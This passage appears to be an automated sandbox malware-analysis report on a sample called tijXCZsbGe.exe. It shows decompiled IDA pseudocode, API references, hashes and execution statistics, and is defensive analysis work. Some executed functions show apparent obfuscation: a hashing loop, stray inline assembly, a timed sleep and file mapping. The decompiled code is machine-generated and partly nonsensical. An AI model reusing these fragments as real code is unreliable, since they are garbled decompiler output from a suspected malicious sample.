									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041AFC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00423010(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041AFC0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041AFC0(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00423010(_t222))) = 0x16;
						_t162 = E00422DA0(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BF30(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x00437326
0x00437326
0x00437326
0x0043732a
0x0043733c
0x00437343
0x00437345
0x0043734a
0x0043734c
0x0043734e
0x00437353
0x00437355
0x0043735a
0x00437360
0x00437362
0x00437362
0x00437360
0x00437367
0x00437397
0x0043739e
0x004373a7
0x004376de
0x004376e3
0x004376e9
0x0043771b
0x0043771e
0x00437723
0x0043772f
0x00437736
0x00437743
0x00437749
0x00437753
0x00437758
0x0043775d
0x00437763
0x00437769
0x0043776e
0x0043776e
0x004376eb
0x004376eb
0x004376f7
0x004376fd
0x00437702
0x00437702
0x004373ad
0x004373bb
0x00437465
0x00437531
0x00437533
0x0043753d
0x00437544
0x00437569
0x0043757b
0x00437581
0x0043758b
0x00437590
0x00437598
0x00437598
0x004375ad
0x004375cf
0x004375d1
0x004375db
0x004375e2
0x004375ef
0x004375f5
0x004375ff
0x00437604
0x0043760c
0x00437610
0x0043761d
0x00437623
0x0043762d
0x00437632
0x0043763a
0x00437643
0x0043765b
0x00437676
0x0043768b
0x00437690
0x00437698
0x0043766a
0x00437673
0x00000000
0x00437673
0x0043769d
0x004376a3
0x004376a8
0x00000000
0x004376a8
0x004376b5
0x004376b8
0x00000000
0x004376b8
0x00437648
0x0043764e
0x00437653
0x00437653
0x00437610
0x00000000
0x004375e2
0x004376c3
0x004376c9
0x004376ce
0x004376ce
0x0043754c
0x00437552
0x00437558
0x0043755d
0x0043755d
0x00000000
0x00437544
0x0043746f
0x00437481
0x00437481
0x00437496
0x004374a4
0x004374a6
0x004374b0
0x004374b7
0x004374f1
0x004374f7
0x00437501
0x00437506
0x004374bf
0x004374cb
0x004374d3
0x004374d3
0x004374d6
0x004374d9
0x004374df
0x004374e4
0x004374e4
0x00000000
0x00000000
0x00000000
0x00000000
0x004373c1
0x004373c1
0x004373c1
0x004373c7
0x00000000
0x00000000
0x004373c9
0x004373d4
0x00437403
0x00437408
0x00437411
0x00437416
0x00437431
0x00437434
0x00000000
0x00437434
0x0043741b
0x00437421
0x00437426
0x00000000
0x00437426
0x004373db
0x004373e1
0x004373eb
0x004373f0
0x00000000
0x004373f0
0x0043743c
0x00437442
0x00437447
0x00437447
0x00437369
0x0043736e
0x0043738f
0x0043738f
0x00000000
0x0043732c
0x0043732c
0x0043777b
0x00437788
0x00437788

APIs

__invalid_parameter.LIBCMTD ref: 00437387

Strings

_wcstombs_l_helper, xrefs: 0043737D
pwcs != NULL, xrefs: 00437345, 00437382
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043734E, 00437378

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 82ad273cde652de860ff3a6815d68a7cd15a9f056ecdd3519fae2009b6dddb72
Instruction ID: b5ccbac49946430bddd2d06a05e2e2f1bc15422cfc8609834c45a4aa3508159c
Opcode Fuzzy Hash: 82ad273cde652de860ff3a6815d68a7cd15a9f056ecdd3519fae2009b6dddb72
Instruction Fuzzy Hash: 71F02870F94318BAE7302E609D87B5E3261675C719F50152FFC85351C2D7FE4650865A

Uniqueness

Uniqueness Score: -1.00%

Function 0041AB31, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041ABE5

Part of subcall function 00421650: __encode_pointer.LIBCMTD ref: 00421731

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: 3f321baffc4c0b323b4eb357800ef472f3214d11260744091868e6c03f7fc255
Instruction ID: 7e3b4278956750798d7c4e6d9ec57431554213f44ad77e293172dea0c5710341
Opcode Fuzzy Hash: 3f321baffc4c0b323b4eb357800ef472f3214d11260744091868e6c03f7fc255
Instruction Fuzzy Hash: 73413831C09744D6CB11AB38EA0516EB7B0FF95344F00CB6BF88861261EB38DA69D35B

Uniqueness

Uniqueness Score: -1.00%

Function 00424B0A, Relevance: 6.0, APIs: 4, Instructions: 32
threadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00424B0A(intOrPtr __eax) {
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t21;

				 *((intOrPtr*)(_t21 - 8)) = __eax;
				if( *((intOrPtr*)(_t21 - 8)) == 0) {
					L2:
					E00424B70();
					_t10 = 0;
				} else {
					_push( *((intOrPtr*)(_t21 - 8)));
					_t11 =  *0x440cb0; // 0x1
					_push(_t11);
					_t16 =  *0x54adfc; // 0xf0de53a
					if( *((intOrPtr*)(E00424860(_t16)))() != 0) {
						E00424BD0(_t16,  *((intOrPtr*)(_t21 - 8)), 0);
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)))) = GetCurrentThreadId();
						 *((intOrPtr*)( *((intOrPtr*)(_t21 - 8)) + 4)) = 0xffffffff;
						_t10 = 1;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x00424b0d
0x00424b14
0x00424b35
0x00424b35
0x00424b3a
0x00424b16
0x00424b19
0x00424b1a
0x00424b1f
0x00424b20
0x00424b33
0x00424b44
0x00424b55
0x00424b5a
0x00424b61
0x00000000
0x00000000
0x00000000
0x00424b33
0x00424b69

APIs

__encode_pointer.LIBCMTD ref: 00424B27

Part of subcall function 00424860: TlsGetValue.KERNEL32(00000001,00424AD6,0F0DE4BA), ref: 00424875
Part of subcall function 00424860: TlsGetValue.KERNEL32(00000001,00000001), ref: 00424896
Part of subcall function 00424860: __crt_wait_module_handle.LIBCMTD ref: 004248AC
Part of subcall function 00424860: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004248C6

__mtterm.LIBCMTD ref: 00424B35
__initptd.LIBCMTD ref: 00424B44
GetCurrentThreadId.KERNEL32 ref: 00424B4C

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: a5b40eb3c482c1174bdd079591c39a0cb72a7e88cf60f3f0efad5ee52833ba59
Instruction ID: 104abe0fac62e95f31654b802d5fab6bab735496c4c498ce748017287b74e070
Opcode Fuzzy Hash: a5b40eb3c482c1174bdd079591c39a0cb72a7e88cf60f3f0efad5ee52833ba59
Instruction Fuzzy Hash: 58F090B9E00215ABC700EFA9FC41B5ABF70EBC8318F5082AAE80597391EA35E550CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C76F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C77F

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C794
_CrtCheckMemory(), xrefs: 0041C788

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: a0d8016db7f2c92f0de4be6675e5ad2205e6a4883f309928390dbc6bf15a2fbb
Instruction ID: e1438a3d6c65c0bd0c902af43ba421686b48232796d68b95d8847b7bc60caddf
Opcode Fuzzy Hash: a0d8016db7f2c92f0de4be6675e5ad2205e6a4883f309928390dbc6bf15a2fbb
Instruction Fuzzy Hash: EBF0E53C7C4206ABDB908B51EEC67E53251A32170CF20441BF514542C1EBFD89D59E8F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tijXCZsbGe.exe PID: 864 Parent PID: 6264 tijXCZsbGe.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	70.8%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 0040264B, Relevance: 4.6, APIs: 3, Instructions: 150
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040264B(void* __eax, void* __ebx, void* __edi, void* __eflags) {
				void* _t54;
				intOrPtr _t57;
				void* _t63;
				void* _t64;

				_t54 = __edi;
				if(__eflags == 0 && __eflags != 0) {
				}
				_t64 = _t63 + 4;
				_t57 =  *((intOrPtr*)(_t64 - 4));
			}

0x0040264b
0x0040264b
0x0040264b
0x00402651
0x00402654

APIs

CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 00402762
CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000), ref: 00402778

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: CreateFile$Mapping
String ID:
API String ID: 2428082958-0
Opcode ID: 66383f16b60b2fe869fe87944f73a19bb6cea92b9684ac127343d80120580bb3
Instruction ID: 27ac9a34fda30767accbc49d1a03b2bd5f73d78484f2304670f52d1d7c3f1488
Opcode Fuzzy Hash: 66383f16b60b2fe869fe87944f73a19bb6cea92b9684ac127343d80120580bb3
Instruction Fuzzy Hash: 77415DB290C140AFE31196308F5DE7637585B61304F298DBFE842BB5C1E2FD8902D65B

Uniqueness

Uniqueness Score: -1.00%

Function 00402667, Relevance: 4.6, APIs: 3, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402667(void* __eax, intOrPtr* __edi, void* __esi) {
				intOrPtr _t23;
				signed char _t28;
				void* _t29;
				void* _t32;
				intOrPtr _t33;
				void* _t37;
				void* _t39;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				signed int _t48;
				signed int _t49;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				WCHAR* _t54;
				void* _t59;
				intOrPtr* _t61;
				intOrPtr* _t62;
				intOrPtr* _t65;
				intOrPtr* _t66;
				intOrPtr _t74;

				_t57 = __esi + 0x30d8;
				_t43 =  *_t61;
				_t62 = _t61 + 4;
				_t46 =  *_t62;
				_t23 = _t46;
				_t48 = _t46;
				__eax = __eax + 0xf7eb6870;
				__eflags = __eax;
				_t49 = _t48 << 5;
				_t50 = _t49 + _t23;
				asm("lodsb");
				_t51 = _t50;
				asm("loop 0xffffffc7");
				_t52 = _t51 ^ 0xd9a5de76;
				_t41 =  *((intOrPtr*)(_t59 + 8));
				L28();
				 *_t41 =  *_t41 + _t52;
				if ( *_t41 == 0) goto L22;
				 *[gs:ebp] =  *[gs:ebp] + _t43;
				if ( *[gs:ebp] < 0) goto L23;
				asm("outsd");
				 *__edi =  *__edi + _t43;
				if ( *__edi == 0) goto L24;
				 *_t43 =  *_t43 + _t41;
				_t74 =  *_t43;
				if (_t74 >= 0) goto L25;
				if (_t74 == 0) goto L26;
				 *[gs:ebp] =  *[gs:ebp] + _t43;
				_t28 = 0 ^  *0x00000000 ^  *0x00000000;
				_t65 = 0x2260;
				 *_t57 =  *_t57 + _t43;
				if ( *_t57 == 0) goto L27;
				 *[fs:eax+eax+0x6c] =  *[fs:eax+eax+0x6c] + _t43;
				 *_t57 =  *_t57 + _t43;
				 *0x0000006C =  *((intOrPtr*)(0x6c)) + _t28;
				 *0x00000000 =  *0x00000000 + _t43;
				 *0xFFFFFFFFFFFFFF8D =  *((intOrPtr*)(_t28 - 0x73)) + _t41;
				_t29 = 0x22a4;
				_t54 = _t59 - 0x20c;
				 *((intOrPtr*)(_t41 + 0x24))(_t29, _t54, 0x104);
				_t32 = CreateFileW(_t54, 0x80000000, 0, 0, 3, 0x80, 0);
				if(_t32 == 0xffffffff) {
					L33:
					 *((intOrPtr*)(_t59 - 4)) = 0;
				} else {
					_t57 = _t32;
					_t37 = CreateFileMappingW(_t32, 0, 0x1000002, 0, 0, 0);
					if(_t37 == 0) {
						goto L33;
					} else {
						_t57 = _t37;
						_t39 = MapViewOfFile(_t37, 4, 0, 0, 0);
						_t79 = _t39;
						if(_t39 == 0) {
							goto L33;
						} else {
							_t40 = E0040294D(_t41, _t79, _t39,  *((intOrPtr*)(_t59 + 0xc)));
							_t80 = _t40;
							if(_t40 == 0) {
								goto L33;
							} else {
								 *((intOrPtr*)(_t59 - 4)) = 1;
							}
						}
					}
				}
				_push(0x263f);
				_t33 =  *_t65;
				_t66 = _t65 + 4;
				_push(0x1a4);
				_t44 =  *_t66;
				E004012AB(_t33, _t41, _t44, _t52, _t54, _t57, _t80);
				return  *((intOrPtr*)(_t59 - 4));
			}

0x0040266f
0x00402682
0x00402685
0x00402699
0x004026ac
0x004026ad
0x004026af
0x004026af
0x004026b9
0x004026c3
0x004026d2
0x004026da
0x004026df
0x004026e8
0x004026f7
0x004026fa
0x00402704
0x00402707
0x00402709
0x0040270d
0x0040270f
0x00402710
0x00402713
0x0040271a
0x0040271a
0x0040271d
0x0040271f
0x00402721
0x00402727
0x00402729
0x0040272a
0x0040272d
0x0040272f
0x00402734
0x00402736
0x0040273a
0x0040273e
0x0040273f
0x00402740
0x0040274d
0x00402762
0x00402768
0x004027a7
0x004027a7
0x0040276a
0x0040276a
0x00402778
0x0040277d
0x00000000
0x0040277f
0x0040277f
0x00402789
0x0040278c
0x0040278e
0x00000000
0x00402790
0x00402795
0x0040279a
0x0040279c
0x00000000
0x0040279e
0x0040279e
0x0040279e
0x0040279c
0x0040278e
0x0040277d
0x004027b5
0x004027ba
0x004027bd
0x004027cc
0x004027d1
0x004027de
0x004027ea

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: File$Create$MappingView
String ID:
API String ID: 1299149932-0
Opcode ID: 8f97f3703f7b53246eb00a32526a97d03ad72a3042871051c774e04c318186bb
Instruction ID: c8219d08ed0a6d0c9140539dd6d6d18337b6c30a2b6ebacf4f3069f40ae788cd
Opcode Fuzzy Hash: 8f97f3703f7b53246eb00a32526a97d03ad72a3042871051c774e04c318186bb
Instruction Fuzzy Hash: 894151B251C180AFE71186308E5DE763B689F51714B2889BFE442FB5C2E6BDCC02C65B

Uniqueness

Uniqueness Score: -1.00%

Function 004026B1, Relevance: 4.6, APIs: 3, Instructions: 126
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004026B1(void* __eax, intOrPtr* __ecx, void* __edx, intOrPtr* __edi, void* __esi) {
				signed char _t26;
				void* _t27;
				void* _t30;
				intOrPtr _t31;
				void* _t35;
				void* _t37;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr _t42;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				signed int _t49;
				signed int _t50;
				WCHAR* _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr* _t61;
				intOrPtr _t68;

				_t54 = __esi;
				_push(__edx);
				_pop(_t46);
				__eax = __eax + 0xf7eb6870;
				__eflags = __eax;
				_t47 = _t46 << 5;
				_t48 = _t47 + __edx;
				asm("lodsb");
				_t49 = _t48;
				asm("loop 0xffffffc7");
				_t50 = _t49 ^ 0xd9a5de76;
				_t39 =  *((intOrPtr*)(_t56 + 8));
				L20();
				 *_t39 =  *_t39 + _t50;
				if ( *_t39 == 0) goto L14;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				if ( *[gs:ebp] < 0) goto L15;
				asm("outsd");
				 *__edi =  *__edi + __ecx;
				if ( *__edi == 0) goto L16;
				 *__ecx =  *__ecx + _t39;
				_t68 =  *__ecx;
				if (_t68 >= 0) goto L17;
				if (_t68 == 0) goto L18;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
				_t26 = 0 ^  *0x00000000 ^  *0x00000000;
				_t60 = 0xebe0f7eb;
				 *__esi =  *__esi + __ecx;
				if ( *__esi == 0) goto L19;
				 *[fs:eax+eax+0x6c] =  *[fs:eax+eax+0x6c] + __ecx;
				 *__esi =  *__esi + __ecx;
				 *0x0000006C =  *((intOrPtr*)(0x6c)) + _t26;
				 *0x00000000 =  *0x00000000 + __ecx;
				 *0xFFFFFFFFFFFFFF8D =  *((intOrPtr*)(_t26 - 0x73)) + _t39;
				_pop(_t27);
				_t52 = _t56 - 0x20c;
				 *((intOrPtr*)(_t39 + 0x24))(_t27, _t52, 0x104);
				_t30 = CreateFileW(_t52, 0x80000000, 0, 0, 3, 0x80, 0);
				if(_t30 == 0xffffffff) {
					L25:
					 *((intOrPtr*)(_t56 - 4)) = 0;
				} else {
					_t54 = _t30;
					_t35 = CreateFileMappingW(_t30, 0, 0x1000002, 0, 0, 0);
					if(_t35 == 0) {
						goto L25;
					} else {
						_t54 = _t35;
						_t37 = MapViewOfFile(_t35, 4, 0, 0, 0);
						_t73 = _t37;
						if(_t37 == 0) {
							goto L25;
						} else {
							_t38 = E0040294D(_t39, _t73, _t37,  *((intOrPtr*)(_t56 + 0xc)));
							_t74 = _t38;
							if(_t38 == 0) {
								goto L25;
							} else {
								 *((intOrPtr*)(_t56 - 4)) = 1;
							}
						}
					}
				}
				_push(0x263f);
				_t31 =  *_t60;
				_t61 = _t60 + 4;
				_push(0x1a4);
				_t42 =  *_t61;
				E004012AB(_t31, _t39, _t42, _t50, _t52, _t54, _t74);
				return  *((intOrPtr*)(_t56 - 4));
			}

0x004026b1
0x004026ab
0x004026ad
0x004026af
0x004026af
0x004026b9
0x004026c3
0x004026d2
0x004026da
0x004026df
0x004026e8
0x004026f7
0x004026fa
0x00402704
0x00402707
0x00402709
0x0040270d
0x0040270f
0x00402710
0x00402713
0x0040271a
0x0040271a
0x0040271d
0x0040271f
0x00402721
0x00402727
0x00402729
0x0040272a
0x0040272d
0x0040272f
0x00402734
0x00402736
0x0040273a
0x0040273e
0x0040273f
0x00402740
0x0040274d
0x00402762
0x00402768
0x004027a7
0x004027a7
0x0040276a
0x0040276a
0x00402778
0x0040277d
0x00000000
0x0040277f
0x0040277f
0x00402789
0x0040278c
0x0040278e
0x00000000
0x00402790
0x00402795
0x0040279a
0x0040279c
0x00000000
0x0040279e
0x0040279e
0x0040279e
0x0040279c
0x0040278e
0x0040277d
0x004027b5
0x004027ba
0x004027bd
0x004027cc
0x004027d1
0x004027de
0x004027ea

APIs

CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 00402762
CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000), ref: 00402778
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 00402789

Memory Dump Source

Source File: 00000001.00000001.669889981.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_400000_tijXCZsbGe.jbxd

Similarity

API ID: File$Create$MappingView
String ID:
API String ID: 1299149932-0
Opcode ID: c0ae67ea2a947689cf71c2627eccbf00af28b80b4b4e977a26d7423466d0b2f5
Instruction ID: a5ecf5b16545781e316fef0165d7f7359d41dad0604506521f02236eb5ef1756
Opcode Fuzzy Hash: c0ae67ea2a947689cf71c2627eccbf00af28b80b4b4e977a26d7423466d0b2f5
Instruction Fuzzy Hash: 5B413FB251C180AFE70196304E1DE763A685B91314B2889BFF841FB5D2E2BD8C01965B

Uniqueness

Uniqueness Score: -1.00%

Function 004026E3, Relevance: 4.6, APIs: 3, Instructions: 124
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004026E3(void* __eax, intOrPtr* __ecx, signed int __edx, intOrPtr* __edi, void* __esi) {
				void* _t20;
				void* _t21;
				signed char _t26;
				void* _t27;
				void* _t30;
				intOrPtr _t31;
				void* _t35;
				void* _t37;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr _t42;
				signed int _t45;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				WCHAR* _t50;
				void* _t54;
				intOrPtr* _t58;
				intOrPtr* _t59;
				intOrPtr _t67;

				_t52 = __esi;
				_t20 = __eax + 0x24;
				asm("movsb");
				_t21 = _t20 + 0xf7eb6870;
				_t45 = __edx << 5;
				_t46 = _t45 + _t21;
				asm("lodsb");
				_t47 = _t46;
				asm("loop 0xffffffc7");
				_t48 = _t47 ^ 0xd9a5de76;
				_t39 =  *((intOrPtr*)(_t54 + 8));
				L18();
				 *_t39 =  *_t39 + _t48;
				if ( *_t39 == 0) goto L12;
				 *[gs:ebp] =  *[gs:ebp] + __ecx;
